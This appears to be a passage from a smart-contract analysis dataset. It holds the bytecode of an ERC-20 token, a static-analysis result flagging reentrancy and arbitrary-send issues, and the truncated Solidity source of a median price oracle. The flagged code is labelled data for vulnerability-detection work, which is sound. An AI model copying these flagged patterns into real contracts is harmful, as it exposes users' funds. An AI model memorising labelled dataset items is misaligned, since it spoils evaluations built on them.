0000000000000000000000000000000000000000000000000000000815260040161086090612e46565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f53484942454e544ff09f8db10000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612e46565b60405180910390fd5b60005b8151811015610ad157600160066000848481518110610a6557610a646132a3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906131fc565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611cd3565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612e46565b60405180910390fd5b601160149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612ec6565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906127ce565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906127ce565b6040518363ffffffff1660e01b8152600401610df9929190612c96565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906127ce565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612ce8565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f53919061299e565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550672d1a51c7e00500006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612cbf565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612944565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612e46565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e06565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611f5b90919063ffffffff16565b611fd690919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111e99190612ee6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612ea6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612dc6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612ee6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612e86565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612d86565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612e66565b60405180910390fd5b6005600a81905550600a600b81905550611589610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f757506115c7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4357600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116a05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116a957600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117545750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117aa5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117c25750601160179054906101000a900460ff165b15611872576012548111156117d657600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182157600080fd5b601e4261182e919061301c565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561191d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119735750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611989576005600a819055506014600b819055505b600061199430610783565b9050601160159054906101000a900460ff16158015611a015750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a195750601160169054906101000a900460ff165b15611a4157611a2781611cd3565b60004790506000811115611a3f57611a3e47611b6a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611aea5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611af457600090505b611b0084848484612020565b50505050565b6000838311158290611b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b459190612d64565b60405180910390fd5b5060008385611b5d91906130fd565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bba600284611fd690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be5573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c36600284611fd690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c61573d6000803e3d6000fd5b5050565b6000600854821115611cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca390612da6565b60405180910390fd5b6000611cb661204d565b9050611ccb8184611fd690919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d0b57611d0a6132d2565b5b604051908082528060200260200182016040528015611d395781602001602082028036833780820191505090505b5090503081600081518110611d5157611d506132a3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611df357600080fd5b505afa158015611e07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e2b91906127ce565b81600181518110611e3f57611e3e6132a3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ea630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f0a959493929190612f01565b600060405180830381600087803b158015611f2457600080fd5b505af1158015611f38573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f6e5760009050611fd0565b60008284611f7c91906130a3565b9050828482611f8b9190613072565b14611fcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc290612e26565b60405180910390fd5b809150505b92915050565b600061201883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612078565b905092915050565b8061202e5761202d6120db565b5b61203984848461211e565b80612047576120466122e9565b5b50505050565b600080600061205a6122fd565b915091506120718183611fd690919063ffffffff16565b9250505090565b600080831182906120bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b69190612d64565b60405180910390fd5b50600083856120ce9190613072565b9050809150509392505050565b6000600a541480156120ef57506000600b54145b156120f95761211c565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121308761235f565b95509550955095509550955061218e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061226f8161246f565b612279848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122d69190612ee6565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea000009050612333683635c9adc5dea00000600854611fd690919063ffffffff16565b82101561235257600854683635c9adc5dea0000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c61204d565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b06565b905092915050565b6000808284612420919061301c565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c90612de6565b60405180910390fd5b8091505092915050565b600061247961204d565b905060006124908284611f5b90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611f5b90919063ffffffff16565b611fd690919063ffffffff16565b905060006125bc60646125ae888b611f5b90919063ffffffff16565b611fd690919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611f5b90919063ffffffff16565b9050600061262c8689611f5b90919063ffffffff16565b905060006126438789611f5b90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061269861269384612f9b565b612f76565b905080838252602082019050828560208602820111156126bb576126ba613306565b5b60005b858110156126eb57816126d188826126f5565b8452602084019350602083019250506001810190506126be565b5050509392505050565b600081359050612704816135f3565b92915050565b600081519050612719816135f3565b92915050565b600082601f83011261273457612733613301565b5b8135612744848260208601612685565b91505092915050565b60008135905061275c8161360a565b92915050565b6000815190506127718161360a565b92915050565b60008135905061278681613621565b92915050565b60008151905061279b81613621565b92915050565b6000602082840312156127b7576127b6613310565b5b60006127c5848285016126f5565b91505092915050565b6000602082840312156127e4576127e3613310565b5b60006127f28482850161270a565b91505092915050565b6000806040838503121561281257612811613310565b5b6000612820858286016126f5565b9250506020612831858286016126f5565b9150509250929050565b60008060006060848603121561285457612853613310565b5b6000612862868287016126f5565b9350506020612873868287016126f5565b925050604061288486828701612777565b9150509250925092565b600080604083850312156128a5576128a4613310565b5b60006128b3858286016126f5565b92505060206128c485828601612777565b9150509250929050565b6000602082840312156128e4576128e3613310565b5b600082013567ffffffffffffffff8111156129025761290161330b565b5b61290e8482850161271f565b91505092915050565b60006020828403121561292d5761292c613310565b5b600061293b8482850161274d565b91505092915050565b60006020828403121561295a57612959613310565b5b600061296884828501612762565b91505092915050565b60006020828403121561298757612986613310565b5b600061299584828501612777565b91505092915050565b6000806000606084860312156129b7576129b6613310565b5b60006129c58682870161278c565b93505060206129d68682870161278c565b92505060406129e78682870161278c565b9150509250925092565b60006129fd8383612a09565b60208301905092915050565b612a1281613131565b82525050565b612a2181613131565b82525050565b6000612a3282612fd7565b612a3c8185612ffa565b9350612a4783612fc7565b8060005b83811015612a78578151612a5f88826129f1565b9750612a6a83612fed565b925050600181019050612a4b565b5085935050505092915050565b612a8e81613143565b82525050565b612a9d81613186565b82525050565b6000612aae82612fe2565b612ab8818561300b565b9350612ac8818560208601613198565b612ad181613315565b840191505092915050565b6000612ae960238361300b565b9150612af482613326565b604082019050919050565b6000612b0c602a8361300b565b9150612b1782613375565b604082019050919050565b6000612b2f60228361300b565b9150612b3a826133c4565b604082019050919050565b6000612b52601b8361300b565b9150612b5d82613413565b602082019050919050565b6000612b75601d8361300b565b9150612b808261343c565b602082019050919050565b6000612b9860218361300b565b9150612ba382613465565b604082019050919050565b6000612bbb60208361300b565b9150612bc6826134b4565b602082019050919050565b6000612bde60298361300b565b9150612be9826134dd565b604082019050919050565b6000612c0160258361300b565b9150612c0c8261352c565b604082019050919050565b6000612c2460248361300b565b9150612c2f8261357b565b604082019050919050565b6000612c4760178361300b565b9150612c52826135ca565b602082019050919050565b612c668161316f565b82525050565b612c7581613179565b82525050565b6000602082019050612c906000830184612a18565b92915050565b6000604082019050612cab6000830185612a18565b612cb86020830184612a18565b9392505050565b6000604082019050612cd46000830185612a18565b612ce16020830184612c5d565b9392505050565b600060c082019050612cfd6000830189612a18565b612d0a6020830188612c5d565b612d176040830187612a94565b612d246060830186612a94565b612d316080830185612a18565b612d3e60a0830184612c5d565b979650505050505050565b6000602082019050612d5e6000830184612a85565b92915050565b60006020820190508181036000830152612d7e8184612aa3565b905092915050565b60006020820190508181036000830152612d9f81612adc565b9050919050565b60006020820190508181036000830152612dbf81612aff565b9050919050565b60006020820190508181036000830152612ddf81612b22565b9050919050565b60006020820190508181036000830152612dff81612b45565b9050919050565b60006020820190508181036000830152612e1f81612b68565b9050919050565b60006020820190508181036000830152612e3f81612b8b565b9050919050565b60006020820190508181036000830152612e5f81612bae565b9050919050565b60006020820190508181036000830152612e7f81612bd1565b9050919050565b60006020820190508181036000830152612e9f81612bf4565b9050919050565b60006020820190508181036000830152612ebf81612c17565b9050919050565b60006020820190508181036000830152612edf81612c3a565b9050919050565b6000602082019050612efb6000830184612c5d565b92915050565b600060a082019050612f166000830188612c5d565b612f236020830187612a94565b8181036040830152612f358186612a27565b9050612f446060830185612a18565b612f516080830184612c5d565b9695505050505050565b6000602082019050612f706000830184612c6c565b92915050565b6000612f80612f91565b9050612f8c82826131cb565b919050565b6000604051905090565b600067ffffffffffffffff821115612fb657612fb56132d2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130278261316f565b91506130328361316f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561306757613066613245565b5b828201905092915050565b600061307d8261316f565b91506130888361316f565b92508261309857613097613274565b5b828204905092915050565b60006130ae8261316f565b91506130b98361316f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130f2576130f1613245565b5b828202905092915050565b60006131088261316f565b91506131138361316f565b92508282101561312657613125613245565b5b828203905092915050565b600061313c8261314f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131918261316f565b9050919050565b60005b838110156131b657808201518184015260208101905061319b565b838111156131c5576000848401525b50505050565b6131d482613315565b810181811067ffffffffffffffff821117156131f3576131f26132d2565b5b80604052505050565b60006132078261316f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561323a57613239613245565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135fc81613131565b811461360757600080fd5b50565b61361381613143565b811461361e57600080fd5b50565b61362a8161316f565b811461363557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122093a873bf61f034e8d4e699eb4d448ac3f6d6adcf010dd7defd153703efd3a01464736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,818
0xa999a31c89081e8b4175caa39e658c093705387a
/** *Submitted for verification at Etherscan.io on 2021-03-30 */ pragma solidity >=0.4.24 <0.6.0; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Select * @dev Median Selection Library */ library Select { using SafeMath for uint256; /** * @dev Sorts the input array up to the denoted size, and returns the median. * @param array Input array to compute its median. * @param size Number of elements in array to compute the median for. * @return Median of array. */ function computeMedian(uint256[] array, uint256 size) internal pure returns (uint256) { require(size > 0 && array.length >= size); for (uint256 i = 1; i < size; i++) { for (uint256 j = i; j > 0 && array[j - 1] > array[j]; j--) { uint256 tmp = array[j]; array[j] = array[j - 1]; array[j - 1] = tmp; } } if (size % 2 == 1) { return array[size / 2]; } else { return array[size / 2].add(array[size / 2 - 1]) / 2; } } } /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool wasInitializing = initializing; initializing = true; initialized = true; _; initializing = wasInitializing; } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. uint256 cs; assembly { cs := extcodesize(address) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable is Initializable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function initialize(address sender) public initializer { _owner = sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } interface IOracle { function getData() external returns (uint256, bool); } /** * @title Median Oracle * * @notice Provides a value onchain that's aggregated from a whitelisted set of * providers. */ contract CommodityOracle is Ownable, IOracle { using SafeMath for uint256; struct Report { uint256 timestamp; uint256 payload; } // Addresses of providers authorized to push reports. address[] public providers; // Reports indexed by provider address. Report[0].timestamp > 0 // indicates provider existence. mapping(address => Report[2]) public providerReports; event ProviderAdded(address provider); event ProviderRemoved(address provider); event ReportTimestampOutOfRange(address provider); event ProviderReportPushed( address indexed provider, uint256 payload, uint256 timestamp ); // The number of seconds after which the report is deemed expired. uint256 public reportExpirationTimeSec; // The number of seconds since reporting that has to pass before a report // is usable. uint256 public reportDelaySec; // The minimum number of providers with valid reports to consider the // aggregate report valid. uint256 public minimumProviders = 1; // Timestamp of 1 is used to mark uninitialized and invalidated data. // This is needed so that timestamp of 1 is always considered expired. uint256 private constant MAX_REPORT_EXPIRATION_TIME = 520 weeks; /** * @param reportExpirationTimeSec_ The number of seconds after which the * report is deemed expired. * @param reportDelaySec_ The number of seconds since reporting that has to * pass before a report is usable * @param minimumProviders_ The minimum number of providers with valid * reports to consider the aggregate report valid. */ constructor( uint256 reportExpirationTimeSec_, uint256 reportDelaySec_, uint256 minimumProviders_ ) public { require(reportExpirationTimeSec_ <= MAX_REPORT_EXPIRATION_TIME); require(minimumProviders_ > 0); Ownable.initialize(msg.sender); reportExpirationTimeSec = reportExpirationTimeSec_; reportDelaySec = reportDelaySec_; minimumProviders = minimumProviders_; } /** * @notice Sets the report expiration period. * @param reportExpirationTimeSec_ The number of seconds after which the * report is deemed expired. */ function setReportExpirationTimeSec(uint256 reportExpirationTimeSec_) external onlyOwner { require(reportExpirationTimeSec_ <= MAX_REPORT_EXPIRATION_TIME); reportExpirationTimeSec = reportExpirationTimeSec_; } /** * @notice Sets the time period since reporting that has to pass before a * report is usable. * @param reportDelaySec_ The new delay period in seconds. */ function setReportDelaySec(uint256 reportDelaySec_) external onlyOwner { reportDelaySec = reportDelaySec_; } /** * @notice Sets the minimum number of providers with valid reports to * consider the aggregate report valid. * @param minimumProviders_ The new minimum number of providers. */ function setMinimumProviders(uint256 minimumProviders_) external onlyOwner { require(minimumProviders_ > 0); minimumProviders = minimumProviders_; } /** * @notice Pushes a report for the calling provider. * @param payload is expected to be 18 decimal fixed point number. */ function pushReport(uint256 payload) external { address providerAddress = msg.sender; Report[2] storage reports = providerReports[providerAddress]; uint256[2] memory timestamps = [reports[0].timestamp, reports[1].timestamp]; require(timestamps[0] > 0); uint8 index_recent = timestamps[0] >= timestamps[1] ? 0 : 1; uint8 index_past = 1 - index_recent; // Check that the push is not too soon after the last one. require(timestamps[index_recent].add(reportDelaySec) <= now); reports[index_past].timestamp = now; reports[index_past].payload = payload; emit ProviderReportPushed(providerAddress, payload, now); } /** * @notice Invalidates the reports of the calling provider. */ function purgeReports() external { address providerAddress = msg.sender; require(providerReports[providerAddress][0].timestamp > 0); providerReports[providerAddress][0].timestamp = 1; providerReports[providerAddress][1].timestamp = 1; } /** * @notice Computes median of provider reports whose timestamps are in the * valid timestamp range. * @return AggregatedValue: Median of providers reported values. * valid: Boolean indicating an aggregated value was computed successfully. */ function getData() external returns (uint256, bool) { uint256 reportsCount = providers.length; uint256[] memory validReports = new uint256[](reportsCount); uint256 size = 0; uint256 minValidTimestamp = now.sub(reportExpirationTimeSec); uint256 maxValidTimestamp = now.sub(reportDelaySec); for (uint256 i = 0; i < reportsCount; i++) { address providerAddress = providers[i]; Report[2] memory reports = providerReports[providerAddress]; uint8 index_recent = reports[0].timestamp >= reports[1].timestamp ? 0 : 1; uint8 index_past = 1 - index_recent; uint256 reportTimestampRecent = reports[index_recent].timestamp; if (reportTimestampRecent > maxValidTimestamp) { // Recent report is too recent. uint256 reportTimestampPast = providerReports[providerAddress][index_past].timestamp; if (reportTimestampPast < minValidTimestamp) { // Past report is too old. emit ReportTimestampOutOfRange(providerAddress); } else if (reportTimestampPast > maxValidTimestamp) { // Past report is too recent. emit ReportTimestampOutOfRange(providerAddress); } else { // Using past report. validReports[size++] = providerReports[providerAddress][ index_past ] .payload; } } else { // Recent report is not too recent. if 